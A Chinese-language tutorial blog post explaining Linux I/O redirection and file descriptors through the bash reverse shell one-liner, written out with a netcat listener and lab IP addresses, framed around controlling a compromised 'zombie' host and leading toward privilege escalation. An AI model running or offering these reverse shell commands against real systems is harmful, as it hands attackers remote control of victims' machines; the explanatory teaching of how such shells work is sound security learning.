浅析Linux重定向与反弹Shell命令

0x01 简介

反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段。它的实质是控制端在监听某TCP/UDP端口,被控方主动发起请求到该端口,并将其命令行的输入输出转到控制端。本质上是网络概念的客户端与服务端的角色反转。

0x02 为何要反弹shell

通常用于被控方因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  2. 它的ip会动态改变,你不能持续控制。
  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

0x03 经典语句:

攻击方(kali/192.168.41.133):nc -lvvp 2223
肉鸡(Ubuntu/192.168.41.128:bash -i >& /dev/tcp/192.168.41.133/2223 0>&1

肉鸡
攻击方

语句解读:

  • nc -lvvp 2223:监听2223端口
  • bash -i:生成交互的shell
  • >&:重定向
  • /dev/tcp/192.168.41.133/2223:/dev/tcp/ip/port,相当于和192.168.41.133:2223建立一个TCP连接;在Linux一切都是文件的思想中,这里理解为双方通过这个文件为内存媒介进行通信。
  • 0>&1:标准输入指向标准输出,这里的 >& 并非重定向符的 >&,仅仅是 >, &符号的为了指代这个标准输出。如果没有&符号,0>1,这样,语句的意思即为将标准输入指向文件名为1的文件。(语句中0、1为文件描述符,代表标准输入和标准输出)
    输入输出重定向
    当使用 0>&1后,进入一个待输入的状态,随便输入一字符串,回车,则会回显在下一行。

整句话的意思:和192.168.41.133:2223建立TCP连接并将标准输入、标准输出、错误输出都重定向到192.168.41.133:2223。

这时攻击方只需监听2223端口,便可实现反弹shell,控制肉鸡。

关于文件描述符:

stdin 0 -> /dev/tty0
stdout 1 -> /dev/tty0
stderr 2 -> /dev/tty0

这几个分别指代 指向的默认的标准输入输出设备。在Linux中,一切皆为文件,而这些数字即文件描述符就相当于指向文件的句柄。

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向

关于重定向符:

  1. <, <<:重定向标准输入,如 0<file,意思是向文件file读取
    输入重定向1
    有趣的是,命令<file cat会先检测到重定向符,将输入重定向到file中,然后执行cat
    输入重定向2
  2. >, >>:重定向标准输出,如 echo hello > file, hello并不会打印在屏幕界面,而是存在file文件中
    输出重定向
  3. &> >&:重定向标准输出和错误输出,多了一个错误输出,在使用>时,如:mkdir > file,这是错误的命令,错误信息会直接打印在屏幕界面中,如果使用mkdir >& file,错误信息将存入文件file中。
    错误重定向

ps:标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。(这点很神奇)
例如用 bash -i &gt; /dev/tcp/192.168.41.133/2223 0&gt;&amp;1,那么在攻击方输入的命令将仍然回显在肉鸡上,并且攻击机上的shell并没有终端提示符
错误重定向1

错误重定向2

所以再回头看那个反弹shell语句,是否易懂些!?
bash -i &gt;&amp; /dev/tcp/192.168.41.133/2223 0&gt;&amp;1bash -i &gt;&amp; /dev/tcp/192.168.41.133/2223 0&gt;&amp;2bash -i &amp;&gt; /dev/tcp/192.168.41.133/2223 0&gt;&amp;1这些命令实质上是等价的

总结知识点:

  • 搞懂重定向符,文件描述符,>, >>,>& 的区别
  • 反弹shell的本质,实质是攻击方开通端口,然后在肉鸡上执行TCP连接,然后通过bash -i 给予对方shell的交互,最后通过一些重定向,让输入和输出都是攻击机上回显。
  • 关于执行这些一句话反弹,有很多种语言版本,如PHP,Python,Perl等,可以通过msf的框架生成一些更为强大的反弹shell代码。当我们掌握了反弹的本质,那么我们就可以自己摸索创造更有趣的反弹代码。

反弹shell的代码我们可以结合栈溢出等漏洞使用,在栈溢出的位置构造好payload,让程序跳到执行反弹shell的代码,这样我们就可以利用漏洞getshell。

所以,人们常说 Shell is only the beginning,getshell之后,我们需要利用我们得到的shell一步步提权。

关于提权…..下一节好精彩,快回来哟!

参考链接